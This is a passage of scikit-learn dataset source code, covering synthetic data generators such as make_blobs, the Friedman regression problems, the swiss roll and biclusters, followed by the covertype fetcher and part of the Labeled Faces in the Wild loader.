                   np.append(outer_circ_y, inner_circ_y))).T
    y = np.hstack([np.zeros(n_samples_in, dtype=np.intp),
                   np.ones(n_samples_out, dtype=np.intp)])

    if shuffle:
        X, y = util_shuffle(X, y, random_state=generator)

    if noise is not None:
        X += generator.normal(scale=noise, size=X.shape)

    return X, y


def make_blobs(n_samples=100, n_features=2, centers=3, cluster_std=1.0,
               center_box=(-10.0, 10.0), shuffle=True, random_state=None):
    """Generate isotropic Gaussian blobs for clustering.

    Read more in the :ref:`User Guide <sample_generators>`.

    Parameters
    ----------
    n_samples : int, optional (default=100)
        The total number of points equally divided among clusters.

    n_features : int, optional (default=2)
        The number of features for each sample.

    centers : int or array of shape [n_centers, n_features], optional
        (default=3)
        The number of centers to generate, or the fixed center locations.

    cluster_std: float or sequence of floats, optional (default=1.0)
        The standard deviation of the clusters.

    center_box: pair of floats (min, max), optional (default=(-10.0, 10.0))
        The bounding box for each cluster center when centers are
        generated at random.

    shuffle : boolean, optional (default=True)
        Shuffle the samples.

    random_state : int, RandomState instance or None, optional (default=None)
        If int, random_state is the seed used by the random number generator;
        If RandomState instance, random_state is the random number generator;
        If None, the random number generator is the RandomState instance used
        by `np.random`.

    Returns
    -------
    X : array of shape [n_samples, n_features]
        The generated samples.

    y : array of shape [n_samples]
        The integer labels for cluster membership of each sample.

    Examples
    --------
    >>> from sklearn.datasets.samples_generator import make_blobs
    >>> X, y = make_blobs(n_samples=10, centers=3, n_features=2,
    ...                   random_state=0)
    >>> print(X.shape)
    (10, 2)
    >>> y
    array([0, 0, 1, 0, 2, 2, 2, 1, 1, 0])

    See also
    --------
    make_classification: a more intricate variant
    """
    generator = check_random_state(random_state)

    if isinstance(centers, numbers.Integral):
        centers = generator.uniform(center_box[0], center_box[1],
                                    size=(centers, n_features))
    else:
        centers = check_array(centers)
        n_features = centers.shape[1]

    if isinstance(cluster_std, numbers.Real):
        cluster_std = np.ones(len(centers)) * cluster_std

    X = []
    y = []

    n_centers = centers.shape[0]
    n_samples_per_center = [int(n_samples // n_centers)] * n_centers

    for i in range(n_samples % n_centers):
        n_samples_per_center[i] += 1

    for i, (n, std) in enumerate(zip(n_samples_per_center, cluster_std)):
        X.append(centers[i] + generator.normal(scale=std,
                                               size=(n, n_features)))
        y += [i] * n

    X = np.concatenate(X)
    y = np.array(y)

    if shuffle:
        indices = np.arange(n_samples)
        generator.shuffle(indices)
        X = X[indices]
        y = y[indices]

    return X, y


def make_friedman1(n_samples=100, n_features=10, noise=0.0, random_state=None):
    """Generate the "Friedman \#1" regression problem

    This dataset is described in Friedman [1] and Breiman [2].

    Inputs `X` are independent features uniformly distributed on the interval
    [0, 1]. The output `y` is created according to the formula::

        y(X) = 10 * sin(pi * X[:, 0] * X[:, 1]) + 20 * (X[:, 2] - 0.5) ** 2 \
+ 10 * X[:, 3] + 5 * X[:, 4] + noise * N(0, 1).

    Out of the `n_features` features, only 5 are actually used to compute
    `y`. The remaining features are independent of `y`.

    The number of features has to be >= 5.

    Read more in the :ref:`User Guide <sample_generators>`.

    Parameters
    ----------
    n_samples : int, optional (default=100)
        The number of samples.

    n_features : int, optional (default=10)
        The number of features. Should be at least 5.

    noise : float, optional (default=0.0)
        The standard deviation of the gaussian noise applied to the output.

    random_state : int, RandomState instance or None, optional (default=None)
        If int, random_state is the seed used by the random number generator;
        If RandomState instance, random_state is the random number generator;
        If None, the random number generator is the RandomState instance used
        by `np.random`.

    Returns
    -------
    X : array of shape [n_samples, n_features]
        The input samples.

    y : array of shape [n_samples]
        The output values.

    References
    ----------
    .. [1] J. Friedman, "Multivariate adaptive regression splines", The Annals
           of Statistics 19 (1), pages 1-67, 1991.

    .. [2] L. Breiman, "Bagging predictors", Machine Learning 24,
           pages 123-140, 1996.
    """
    if n_features < 5:
        raise ValueError("n_features must be at least five.")

    generator = check_random_state(random_state)

    X = generator.rand(n_samples, n_features)
    y = 10 * np.sin(np.pi * X[:, 0] * X[:, 1]) + 20 * (X[:, 2] - 0.5) ** 2 \
        + 10 * X[:, 3] + 5 * X[:, 4] + noise * generator.randn(n_samples)

    return X, y


def make_friedman2(n_samples=100, noise=0.0, random_state=None):
    """Generate the "Friedman \#2" regression problem

    This dataset is described in Friedman [1] and Breiman [2].

    Inputs `X` are 4 independent features uniformly distributed on the
    intervals::

        0 <= X[:, 0] <= 100,
        40 * pi <= X[:, 1] <= 560 * pi,
        0 <= X[:, 2] <= 1,
        1 <= X[:, 3] <= 11.

    The output `y` is created according to the formula::

        y(X) = (X[:, 0] ** 2 + (X[:, 1] * X[:, 2] \
 - 1 / (X[:, 1] * X[:, 3])) ** 2) ** 0.5 + noise * N(0, 1).

    Read more in the :ref:`User Guide <sample_generators>`.

    Parameters
    ----------
    n_samples : int, optional (default=100)
        The number of samples.

    noise : float, optional (default=0.0)
        The standard deviation of the gaussian noise applied to the output.

    random_state : int, RandomState instance or None, optional (default=None)
        If int, random_state is the seed used by the random number generator;
        If RandomState instance, random_state is the random number generator;
        If None, the random number generator is the RandomState instance used
        by `np.random`.

    Returns
    -------
    X : array of shape [n_samples, 4]
        The input samples.

    y : array of shape [n_samples]
        The output values.

    References
    ----------
    .. [1] J. Friedman, "Multivariate adaptive regression splines", The Annals
           of Statistics 19 (1), pages 1-67, 1991.

    .. [2] L. Breiman, "Bagging predictors", Machine Learning 24,
           pages 123-140, 1996.
    """
    generator = check_random_state(random_state)

    X = generator.rand(n_samples, 4)
    X[:, 0] *= 100
    X[:, 1] *= 520 * np.pi
    X[:, 1] += 40 * np.pi
    X[:, 3] *= 10
    X[:, 3] += 1

    y = (X[:, 0] ** 2
         + (X[:, 1] * X[:, 2] - 1 / (X[:, 1] * X[:, 3])) ** 2) ** 0.5 \
        + noise * generator.randn(n_samples)

    return X, y


def make_friedman3(n_samples=100, noise=0.0, random_state=None):
    """Generate the "Friedman \#3" regression problem

    This dataset is described in Friedman [1] and Breiman [2].

    Inputs `X` are 4 independent features uniformly distributed on the
    intervals::

        0 <= X[:, 0] <= 100,
        40 * pi <= X[:, 1] <= 560 * pi,
        0 <= X[:, 2] <= 1,
        1 <= X[:, 3] <= 11.

    The output `y` is created according to the formula::

        y(X) = arctan((X[:, 1] * X[:, 2] - 1 / (X[:, 1] * X[:, 3])) \
/ X[:, 0]) + noise * N(0, 1).

    Read more in the :ref:`User Guide <sample_generators>`.

    Parameters
    ----------
    n_samples : int, optional (default=100)
        The number of samples.

    noise : float, optional (default=0.0)
        The standard deviation of the gaussian noise applied to the output.

    random_state : int, RandomState instance or None, optional (default=None)
        If int, random_state is the seed used by the random number generator;
        If RandomState instance, random_state is the random number generator;
        If None, the random number generator is the RandomState instance used
        by `np.random`.

    Returns
    -------
    X : array of shape [n_samples, 4]
        The input samples.

    y : array of shape [n_samples]
        The output values.

    References
    ----------
    .. [1] J. Friedman, "Multivariate adaptive regression splines", The Annals
           of Statistics 19 (1), pages 1-67, 1991.

    .. [2] L. Breiman, "Bagging predictors", Machine Learning 24,
           pages 123-140, 1996.
    """
    generator = check_random_state(random_state)

    X = generator.rand(n_samples, 4)
    X[:, 0] *= 100
    X[:, 1] *= 520 * np.pi
    X[:, 1] += 40 * np.pi
    X[:, 3] *= 10
    X[:, 3] += 1

    y = np.arctan((X[:, 1] * X[:, 2] - 1 / (X[:, 1] * X[:, 3])) / X[:, 0]) \
        + noise * generator.randn(n_samples)

    return X, y


def make_low_rank_matrix(n_samples=100, n_features=100, effective_rank=10,
                         tail_strength=0.5, random_state=None):
    """Generate a mostly low rank matrix with bell-shaped singular values

    Most of the variance can be explained by a bell-shaped curve of width
    effective_rank: the low rank part of the singular values profile is::

        (1 - tail_strength) * exp(-1.0 * (i / effective_rank) ** 2)

    The remaining singular values' tail is fat, decreasing as::

        tail_strength * exp(-0.1 * i / effective_rank).

    The low rank part of the profile can be considered the structured
    signal part of the data while the tail can be considered the noisy
    part of the data that cannot be summarized by a low number of linear
    components (singular vectors).

    This kind of singular profiles is often seen in practice, for instance:
     - gray level pictures of faces
     - TF-IDF vectors of text documents crawled from the web

    Read more in the :ref:`User Guide <sample_generators>`.

    Parameters
    ----------
    n_samples : int, optional (default=100)
        The number of samples.

    n_features : int, optional (default=100)
        The number of features.

    effective_rank : int, optional (default=10)
        The approximate number of singular vectors required to explain most of
        the data by linear combinations.

    tail_strength : float between 0.0 and 1.0, optional (default=0.5)
        The relative importance of the fat noisy tail of the singular values
        profile.

    random_state : int, RandomState instance or None, optional (default=None)
        If int, random_state is the seed used by the random number generator;
        If RandomState instance, random_state is the random number generator;
        If None, the random number generator is the RandomState instance used
        by `np.random`.

    Returns
    -------
    X : array of shape [n_samples, n_features]
        The matrix.
    """
    generator = check_random_state(random_state)
    n = min(n_samples, n_features)

    # Random (ortho normal) vectors
    u, _ = linalg.qr(generator.randn(n_samples, n), mode='economic')
    v, _ = linalg.qr(generator.randn(n_features, n), mode='economic')

    # Index of the singular values
    singular_ind = np.arange(n, dtype=np.float64)

    # Build the singular profile by assembling signal and noise components
    low_rank = ((1 - tail_strength) *
                np.exp(-1.0 * (singular_ind / effective_rank) ** 2))
    tail = tail_strength * np.exp(-0.1 * singular_ind / effective_rank)
    s = np.identity(n) * (low_rank + tail)

    return np.dot(np.dot(u, s), v.T)


def make_sparse_coded_signal(n_samples, n_components, n_features,
                             n_nonzero_coefs, random_state=None):
    """Generate a signal as a sparse combination of dictionary elements.

    Returns a matrix Y = DX, such as D is (n_features, n_components),
    X is (n_components, n_samples) and each column of X has exactly
    n_nonzero_coefs non-zero elements.

    Read more in the :ref:`User Guide <sample_generators>`.

    Parameters
    ----------
    n_samples : int
        number of samples to generate

    n_components:  int,
        number of components in the dictionary

    n_features : int
        number of features of the dataset to generate

    n_nonzero_coefs : int
        number of active (non-zero) coefficients in each sample

    random_state: int or RandomState instance, optional (default=None)
        seed used by the pseudo random number generator

    Returns
    -------
    data: array of shape [n_features, n_samples]
        The encoded signal (Y).

    dictionary: array of shape [n_features, n_components]
        The dictionary with normalized components (D).

    code: array of shape [n_components, n_samples]
        The sparse code such that each column of this matrix has exactly
        n_nonzero_coefs non-zero items (X).

    """
    generator = check_random_state(random_state)

    # generate dictionary
    D = generator.randn(n_features, n_components)
    D /= np.sqrt(np.sum((D ** 2), axis=0))

    # generate code
    X = np.zeros((n_components, n_samples))
    for i in range(n_samples):
        idx = np.arange(n_components)
        generator.shuffle(idx)
        idx = idx[:n_nonzero_coefs]
        X[idx, i] = generator.randn(n_nonzero_coefs)

    # encode signal
    Y = np.dot(D, X)

    return map(np.squeeze, (Y, D, X))


def make_sparse_uncorrelated(n_samples=100, n_features=10, random_state=None):
    """Generate a random regression problem with sparse uncorrelated design

    This dataset is described in Celeux et al [1]. as::

        X ~ N(0, 1)
        y(X) = X[:, 0] + 2 * X[:, 1] - 2 * X[:, 2] - 1.5 * X[:, 3]

    Only the first 4 features are informative. The remaining features are
    useless.

    Read more in the :ref:`User Guide <sample_generators>`.

    Parameters
    ----------
    n_samples : int, optional (default=100)
        The number of samples.

    n_features : int, optional (default=10)
        The number of features.

    random_state : int, RandomState instance or None, optional (default=None)
        If int, random_state is the seed used by the random number generator;
        If RandomState instance, random_state is the random number generator;
        If None, the random number generator is the RandomState instance used
        by `np.random`.

    Returns
    -------
    X : array of shape [n_samples, n_features]
        The input samples.

    y : array of shape [n_samples]
        The output values.

    References
    ----------
    .. [1] G. Celeux, M. El Anbari, J.-M. Marin, C. P. Robert,
           "Regularization in regression: comparing Bayesian and frequentist
           methods in a poorly informative situation", 2009.
    """
    generator = check_random_state(random_state)

    X = generator.normal(loc=0, scale=1, size=(n_samples, n_features))
    y = generator.normal(loc=(X[:, 0] +
                              2 * X[:, 1] -
                              2 * X[:, 2] -
                              1.5 * X[:, 3]), scale=np.ones(n_samples))

    return X, y


def make_spd_matrix(n_dim, random_state=None):
    """Generate a random symmetric, positive-definite matrix.

    Read more in the :ref:`User Guide <sample_generators>`.

    Parameters
    ----------
    n_dim : int
        The matrix dimension.

    random_state : int, RandomState instance or None, optional (default=None)
        If int, random_state is the seed used by the random number generator;
        If RandomState instance, random_state is the random number generator;
        If None, the random number generator is the RandomState instance used
        by `np.random`.

    Returns
    -------
    X : array of shape [n_dim, n_dim]
        The random symmetric, positive-definite matrix.

    See also
    --------
    make_sparse_spd_matrix
    """
    generator = check_random_state(random_state)

    A = generator.rand(n_dim, n_dim)
    U, s, V = linalg.svd(np.dot(A.T, A))
    X = np.dot(np.dot(U, 1.0 + np.diag(generator.rand(n_dim))), V)

    return X


def make_sparse_spd_matrix(dim=1, alpha=0.95, norm_diag=False,
                           smallest_coef=.1, largest_coef=.9,
                           random_state=None):
    """Generate a sparse symmetric definite positive matrix.

    Read more in the :ref:`User Guide <sample_generators>`.

    Parameters
    ----------
    dim: integer, optional (default=1)
        The size of the random matrix to generate.

    alpha: float between 0 and 1, optional (default=0.95)
        The probability that a coefficient is zero (see notes). Larger values 
        enforce more sparsity.

    random_state : int, RandomState instance or None, optional (default=None)
        If int, random_state is the seed used by the random number generator;
        If RandomState instance, random_state is the random number generator;
        If None, the random number generator is the RandomState instance used
        by `np.random`.

    largest_coef : float between 0 and 1, optional (default=0.9)
        The value of the largest coefficient.

    smallest_coef : float between 0 and 1, optional (default=0.1)
        The value of the smallest coefficient.

    norm_diag : boolean, optional (default=False)
        Whether to normalize the output matrix to make the leading diagonal
        elements all 1

    Returns
    -------
    prec : sparse matrix of shape (dim, dim)
        The generated matrix.

    Notes
    -----
    The sparsity is actually imposed on the cholesky factor of the matrix.
    Thus alpha does not translate directly into the filling fraction of
    the matrix itself.

    See also
    --------
    make_spd_matrix
    """
    random_state = check_random_state(random_state)

    chol = -np.eye(dim)
    aux = random_state.rand(dim, dim)
    aux[aux < alpha] = 0
    aux[aux > alpha] = (smallest_coef
                        + (largest_coef - smallest_coef)
                        * random_state.rand(np.sum(aux > alpha)))
    aux = np.tril(aux, k=-1)

    # Permute the lines: we don't want to have asymmetries in the final
    # SPD matrix
    permutation = random_state.permutation(dim)
    aux = aux[permutation].T[permutation]
    chol += aux
    prec = np.dot(chol.T, chol)

    if norm_diag:
        # Form the diagonal vector into a row matrix
        d = np.diag(prec).reshape(1, prec.shape[0])
        d = 1. / np.sqrt(d)

        prec *= d
        prec *= d.T

    return prec


def make_swiss_roll(n_samples=100, noise=0.0, random_state=None):
    """Generate a swiss roll dataset.

    Read more in the :ref:`User Guide <sample_generators>`.

    Parameters
    ----------
    n_samples : int, optional (default=100)
        The number of sample points on the S curve.

    noise : float, optional (default=0.0)
        The standard deviation of the gaussian noise.

    random_state : int, RandomState instance or None, optional (default=None)
        If int, random_state is the seed used by the random number generator;
        If RandomState instance, random_state is the random number generator;
        If None, the random number generator is the RandomState instance used
        by `np.random`.

    Returns
    -------
    X : array of shape [n_samples, 3]
        The points.

    t : array of shape [n_samples]
        The univariate position of the sample according to the main dimension
        of the points in the manifold.

    Notes
    -----
    The algorithm is from Marsland [1].

    References
    ----------
    .. [1] S. Marsland, "Machine Learning: An Algorithmic Perspective",
           Chapter 10, 2009.
           http://seat.massey.ac.nz/personal/s.r.marsland/Code/10/lle.py
    """
    generator = check_random_state(random_state)

    t = 1.5 * np.pi * (1 + 2 * generator.rand(1, n_samples))
    x = t * np.cos(t)
    y = 21 * generator.rand(1, n_samples)
    z = t * np.sin(t)

    X = np.concatenate((x, y, z))
    X += noise * generator.randn(3, n_samples)
    X = X.T
    t = np.squeeze(t)

    return X, t


def make_s_curve(n_samples=100, noise=0.0, random_state=None):
    """Generate an S curve dataset.

    Read more in the :ref:`User Guide <sample_generators>`.

    Parameters
    ----------
    n_samples : int, optional (default=100)
        The number of sample points on the S curve.

    noise : float, optional (default=0.0)
        The standard deviation of the gaussian noise.

    random_state : int, RandomState instance or None, optional (default=None)
        If int, random_state is the seed used by the random number generator;
        If RandomState instance, random_state is the random number generator;
        If None, the random number generator is the RandomState instance used
        by `np.random`.

    Returns
    -------
    X : array of shape [n_samples, 3]
        The points.

    t : array of shape [n_samples]
        The univariate position of the sample according to the main dimension
        of the points in the manifold.
    """
    generator = check_random_state(random_state)

    t = 3 * np.pi * (generator.rand(1, n_samples) - 0.5)
    x = np.sin(t)
    y = 2.0 * generator.rand(1, n_samples)
    z = np.sign(t) * (np.cos(t) - 1)

    X = np.concatenate((x, y, z))
    X += noise * generator.randn(3, n_samples)
    X = X.T
    t = np.squeeze(t)

    return X, t


def make_gaussian_quantiles(mean=None, cov=1., n_samples=100,
                            n_features=2, n_classes=3,
                            shuffle=True, random_state=None):
    """Generate isotropic Gaussian and label samples by quantile

    This classification dataset is constructed by taking a multi-dimensional
    standard normal distribution and defining classes separated by nested
    concentric multi-dimensional spheres such that roughly equal numbers of
    samples are in each class (quantiles of the :math:`\chi^2` distribution).

    Read more in the :ref:`User Guide <sample_generators>`.

    Parameters
    ----------
    mean : array of shape [n_features], optional (default=None)
        The mean of the multi-dimensional normal distribution.
        If None then use the origin (0, 0, ...).

    cov : float, optional (default=1.)
        The covariance matrix will be this value times the unit matrix. This
        dataset only produces symmetric normal distributions.

    n_samples : int, optional (default=100)
        The total number of points equally divided among classes.

    n_features : int, optional (default=2)
        The number of features for each sample.

    n_classes : int, optional (default=3)
        The number of classes

    shuffle : boolean, optional (default=True)
        Shuffle the samples.

    random_state : int, RandomState instance or None, optional (default=None)
        If int, random_state is the seed used by the random number generator;
        If RandomState instance, random_state is the random number generator;
        If None, the random number generator is the RandomState instance used
        by `np.random`.

    Returns
    -------
    X : array of shape [n_samples, n_features]
        The generated samples.

    y : array of shape [n_samples]
        The integer labels for quantile membership of each sample.

    Notes
    -----
    The dataset is from Zhu et al [1].

    References
    ----------
    .. [1] J. Zhu, H. Zou, S. Rosset, T. Hastie, "Multi-class AdaBoost", 2009.

    """
    if n_samples < n_classes:
        raise ValueError("n_samples must be at least n_classes")

    generator = check_random_state(random_state)

    if mean is None:
        mean = np.zeros(n_features)
    else:
        mean = np.array(mean)

    # Build multivariate normal distribution
    X = generator.multivariate_normal(mean, cov * np.identity(n_features),
                                      (n_samples,))

    # Sort by distance from origin
    idx = np.argsort(np.sum((X - mean[np.newaxis, :]) ** 2, axis=1))
    X = X[idx, :]

    # Label by quantile
    step = n_samples // n_classes

    y = np.hstack([np.repeat(np.arange(n_classes), step),
                   np.repeat(n_classes - 1, n_samples - step * n_classes)])

    if shuffle:
        X, y = util_shuffle(X, y, random_state=generator)

    return X, y


def _shuffle(data, random_state=None):
    generator = check_random_state(random_state)
    n_rows, n_cols = data.shape
    row_idx = generator.permutation(n_rows)
    col_idx = generator.permutation(n_cols)
    result = data[row_idx][:, col_idx]
    return result, row_idx, col_idx


def make_biclusters(shape, n_clusters, noise=0.0, minval=10,
                    maxval=100, shuffle=True, random_state=None):
    """Generate an array with constant block diagonal structure for
    biclustering.

    Read more in the :ref:`User Guide <sample_generators>`.

    Parameters
    ----------
    shape : iterable (n_rows, n_cols)
        The shape of the result.

    n_clusters : integer
        The number of biclusters.

    noise : float, optional (default=0.0)
        The standard deviation of the gaussian noise.

    minval : int, optional (default=10)
        Minimum value of a bicluster.

    maxval : int, optional (default=100)
        Maximum value of a bicluster.

    shuffle : boolean, optional (default=True)
        Shuffle the samples.

    random_state : int, RandomState instance or None, optional (default=None)
        If int, random_state is the seed used by the random number generator;
        If RandomState instance, random_state is the random number generator;
        If None, the random number generator is the RandomState instance used
        by `np.random`.

    Returns
    -------
    X : array of shape `shape`
        The generated array.

    rows : array of shape (n_clusters, X.shape[0],)
        The indicators for cluster membership of each row.

    cols : array of shape (n_clusters, X.shape[1],)
        The indicators for cluster membership of each column.

    References
    ----------

    .. [1] Dhillon, I. S. (2001, August). Co-clustering documents and
        words using bipartite spectral graph partitioning. In Proceedings
        of the seventh ACM SIGKDD international conference on Knowledge
        discovery and data mining (pp. 269-274). ACM.

    See also
    --------
    make_checkerboard
    """
    generator = check_random_state(random_state)
    n_rows, n_cols = shape
    consts = generator.uniform(minval, maxval, n_clusters)

    # row and column clusters of approximately equal sizes
    row_sizes = generator.multinomial(n_rows,
                                      np.repeat(1.0 / n_clusters,
                                                n_clusters))
    col_sizes = generator.multinomial(n_cols,
                                      np.repeat(1.0 / n_clusters,
                                                n_clusters))

    row_labels = np.hstack(list(np.repeat(val, rep) for val, rep in
                                zip(range(n_clusters), row_sizes)))
    col_labels = np.hstack(list(np.repeat(val, rep) for val, rep in
                                zip(range(n_clusters), col_sizes)))

    result = np.zeros(shape, dtype=np.float64)
    for i in range(n_clusters):
        selector = np.outer(row_labels == i, col_labels == i)
        result[selector] += consts[i]

    if noise > 0:
        result += generator.normal(scale=noise, size=result.shape)

    if shuffle:
        result, row_idx, col_idx = _shuffle(result, random_state)
        row_labels = row_labels[row_idx]
        col_labels = col_labels[col_idx]

    rows = np.vstack(row_labels == c for c in range(n_clusters))
    cols = np.vstack(col_labels == c for c in range(n_clusters))

    return result, rows, cols


def make_checkerboard(shape, n_clusters, noise=0.0, minval=10,
                      maxval=100, shuffle=True, random_state=None):

    """Generate an array with block checkerboard structure for
    biclustering.

    Read more in the :ref:`User Guide <sample_generators>`.

    Parameters
    ----------
    shape : iterable (n_rows, n_cols)
        The shape of the result.

    n_clusters : integer or iterable (n_row_clusters, n_column_clusters)
        The number of row and column clusters.

    noise : float, optional (default=0.0)
        The standard deviation of the gaussian noise.

    minval : int, optional (default=10)
        Minimum value of a bicluster.

    maxval : int, optional (default=100)
        Maximum value of a bicluster.

    shuffle : boolean, optional (default=True)
        Shuffle the samples.

    random_state : int, RandomState instance or None, optional (default=None)
        If int, random_state is the seed used by the random number generator;
        If RandomState instance, random_state is the random number generator;
        If None, the random number generator is the RandomState instance used
        by `np.random`.

    Returns
    -------
    X : array of shape `shape`
        The generated array.

    rows : array of shape (n_clusters, X.shape[0],)
        The indicators for cluster membership of each row.

    cols : array of shape (n_clusters, X.shape[1],)
        The indicators for cluster membership of each column.


    References
    ----------

    .. [1] Kluger, Y., Basri, R., Chang, J. T., & Gerstein, M. (2003).
        Spectral biclustering of microarray data: coclustering genes
        and conditions. Genome research, 13(4), 703-716.

    See also
    --------
    make_biclusters
    """
    generator = check_random_state(random_state)

    if hasattr(n_clusters, "__len__"):
        n_row_clusters, n_col_clusters = n_clusters
    else:
        n_row_clusters = n_col_clusters = n_clusters

    # row and column clusters of approximately equal sizes
    n_rows, n_cols = shape
    row_sizes = generator.multinomial(n_rows,
                                      np.repeat(1.0 / n_row_clusters,
                                                n_row_clusters))
    col_sizes = generator.multinomial(n_cols,
                                      np.repeat(1.0 / n_col_clusters,
                                                n_col_clusters))

    row_labels = np.hstack(list(np.repeat(val, rep) for val, rep in
                                zip(range(n_row_clusters), row_sizes)))
    col_labels = np.hstack(list(np.repeat(val, rep) for val, rep in
                                zip(range(n_col_clusters), col_sizes)))

    result = np.zeros(shape, dtype=np.float64)
    for i in range(n_row_clusters):
        for j in range(n_col_clusters):
            selector = np.outer(row_labels == i, col_labels == j)
            result[selector] += generator.uniform(minval, maxval)

    if noise > 0:
        result += generator.normal(scale=noise, size=result.shape)

    if shuffle:
        result, row_idx, col_idx = _shuffle(result, random_state)
        row_labels = row_labels[row_idx]
        col_labels = col_labels[col_idx]

    rows = np.vstack(row_labels == label
                     for label in range(n_row_clusters)
                     for _ in range(n_col_clusters))
    cols = np.vstack(col_labels == label
                     for _ in range(n_row_clusters)
                     for label in range(n_col_clusters))

    return result, rows, cols






"""Forest covertype dataset.

A classic dataset for classification benchmarks, featuring categorical and
real-valued features.

The dataset page is available from UCI Machine Learning Repository

    http://archive.ics.uci.edu/ml/datasets/Covertype

Courtesy of Jock A. Blackard and Colorado State University.
"""

# Author: Lars Buitinck
#         Peter Prettenhofer <peter.prettenhofer@gmail.com>
# License: BSD 3 clause

from gzip import GzipFile
from io import BytesIO
import logging
from os.path import exists, join
try:
    from urllib2 import urlopen
except ImportError:
    from urllib.request import urlopen

import numpy as np

from .base import get_data_home
from .base import Bunch
from .base import _pkl_filepath
from ..utils.fixes import makedirs
from ..externals import joblib
from ..utils import check_random_state


URL = ('http://archive.ics.uci.edu/ml/'
       'machine-learning-databases/covtype/covtype.data.gz')


logger = logging.getLogger()


def fetch_covtype(data_home=None, download_if_missing=True,
                  random_state=None, shuffle=False):
    """Load the covertype dataset, downloading it if necessary.

    Read more in the :ref:`User Guide <datasets>`.

    Parameters
    ----------
    data_home : string, optional
        Specify another download and cache folder for the datasets. By default
        all scikit learn data is stored in '~/scikit_learn_data' subfolders.

    download_if_missing : boolean, default=True
        If False, raise a IOError if the data is not locally available
        instead of trying to download the data from the source site.

    random_state : int, RandomState instance or None, optional (default=None)
        Random state for shuffling the dataset.
        If int, random_state is the seed used by the random number generator;
        If RandomState instance, random_state is the random number generator;
        If None, the random number generator is the RandomState instance used
        by `np.random`.

    shuffle : bool, default=False
        Whether to shuffle dataset.

    Returns
    -------
    dataset : dict-like object with the following attributes:

    dataset.data : numpy array of shape (581012, 54)
        Each row corresponds to the 54 features in the dataset.

    dataset.target : numpy array of shape (581012,)
        Each value corresponds to one of the 7 forest covertypes with values
        ranging between 1 to 7.

    dataset.DESCR : string
        Description of the forest covertype dataset.

    """

    data_home = get_data_home(data_home=data_home)
    covtype_dir = join(data_home, "covertype")
    samples_path = _pkl_filepath(covtype_dir, "samples")
    targets_path = _pkl_filepath(covtype_dir, "targets")
    available = exists(samples_path)

    if download_if_missing and not available:
        makedirs(covtype_dir, exist_ok=True)
        logger.warning("Downloading %s" % URL)
        f = BytesIO(urlopen(URL).read())
        Xy = np.genfromtxt(GzipFile(fileobj=f), delimiter=',')

        X = Xy[:, :-1]
        y = Xy[:, -1].astype(np.int32)

        joblib.dump(X, samples_path, compress=9)
        joblib.dump(y, targets_path, compress=9)

    try:
        X, y
    except NameError:
        X = joblib.load(samples_path)
        y = joblib.load(targets_path)

    if shuffle:
        ind = np.arange(X.shape[0])
        rng = check_random_state(random_state)
        rng.shuffle(ind)
        X = X[ind]
        y = y[ind]

    return Bunch(data=X, target=y, DESCR=__doc__)






"""Loader for the Labeled Faces in the Wild (LFW) dataset

This dataset is a collection of JPEG pictures of famous people collected
over the internet, all details are available on the official website:

    http://vis-www.cs.umass.edu/lfw/

Each picture is centered on a single face. The typical task is called
Face Verification: given a pair of two pictures, a binary classifier
must predict whether the two images are from the same person.

An alternative task, Face Recognition or Face Identification is:
given the picture of the face of an unknown person, identify the name
of the person by referring to a gallery of previously seen pictures of
identified persons.

Both Face Verification and Face Recognition are tasks that are typically
performed on the output of a model trained to perform Face Detection. The
most popular model for Face Detection is called Viola-Johns and is
implemented in the OpenCV library. The LFW faces were extracted by this face
detector from various online websites.
"""
# Copyright (c) 2011 Olivier Grisel <olivier.grisel@ensta.org>
# License: BSD 3 clause

from os import listdir, makedirs, remove
from os.path import join, exists, isdir

from sklearn.utils import deprecated

import logging
import numpy as np

try:
    import urllib.request as urllib  # for backwards compatibility
except ImportError:
    import urllib

from .base import get_data_home, Bunch
from ..externals.joblib import Memory

from ..externals.six import b

logger = logging.getLogger(__name__)


BASE_URL = "http://vis-www.cs.umass.edu/lfw/"
ARCHIVE_NAME = "lfw.tgz"
FUNNELED_ARCHIVE_NAME = "lfw-funneled.tgz"
TARGET_FILENAMES = [
    'pairsDevTrain.txt',
    'pairsDevTest.txt',
    'pairs.txt',
]


def scale_face(face):
    """Scale back to 0-1 range in case of normalization for plotting"""
    scaled = face - face.min()
    scaled /= scaled.max()
    return scaled


#
# Common private utilities for data fetching from the original LFW website
# local disk caching, and image decoding.
#


def check_fetch_lfw(data_home=None, funneled=True, download_if_missing=True):
    """Helper function to download any missing LFW data"""
    data_home = get_data_home(data_home=data_home)
    lfw_home = join(data_home, "lfw_home")

    if funneled:
        archive_path = join(lfw_home, FUNNELED_ARCHIVE_NAME)
        data_folder_path = join(lfw_home, "lfw_funneled")
        archive_url = BASE_URL + FUNNELED_ARCHIVE_NAME
    else:
        archive_path = join(lfw_home, ARCHIVE_NAME)
        data_folder_path = join(lfw_home, "lfw")
        archive_url = BASE_URL + ARCHIVE_NAME

    if not exists(lfw_home):
        makedirs(lfw_home)

    for target_filename in TARGET_FILENAMES:
        target_filepath = join(lfw_home, target_filename)
        if not exists(target_filepath):
            if download_if_missing:
                url = BASE_URL + target_filename
                logger.warning("Downloading LFW metadata: %s", url)
                urllib.urlretrieve(url, target_filepath)
            else:
                raise IOError("%s is missing" % target_filepath)

    if not exists(data_folder_path):

        if not exists(archive_path):
            if download_if_missing:
                logger.warning("Downloading LFW data (~200MB): %s",
                               archive_url)
                urllib.urlretrieve(archive_url, archive_path)
            else:
                raise IOError("%s is missing" % target_filepath)

        import tarfile
        logger.info("Decompressing the data archive to %s", data_folder_path)
        tarfile.open(archive_path, "r:gz").extractall(path=lfw_home)
        remove(archive_path)

    return lfw_home, data_folder_path


def _load_imgs(file_paths, slice_, color, resize):
    """Internally used to load images"""

    # Try to import imread and imresize from PIL. We do this here to prevent
    # the whole sklearn.datasets module from depending on PIL.
    try:
        try:
            from scipy.misc import imread
        except ImportError:
            from scipy.misc.pilutil import imread
        from scipy.misc import imresize
    except ImportError:
        raise ImportError("The Python Imaging Library (PIL)"
                          " is required to load data from jpeg files")

    # compute the portion of the images to load to respect the slice_ parameter
    # given by the caller
    default_slice = (slice(0, 250), slice(0, 250))
    if slice_ is None:
        slice_ = default_slice
    else:
        slice_ = tuple(s or ds for s, ds in zip(slice_, default_slice))

    h_slice, w_slice = slice_
    h = (h_slice.stop - h_slice.start) // (h_slice.step or 1)
    w = (w_slice.stop - w_slice.start) // (w_slice.step or 1)

    if resize is not None:
        resize = float(resize)
        h = int(resize * h)
        w = int(resize * w)

    # allocate some contiguous memory to host the decoded image slices
    n_faces = len(file_paths)
    if not color:
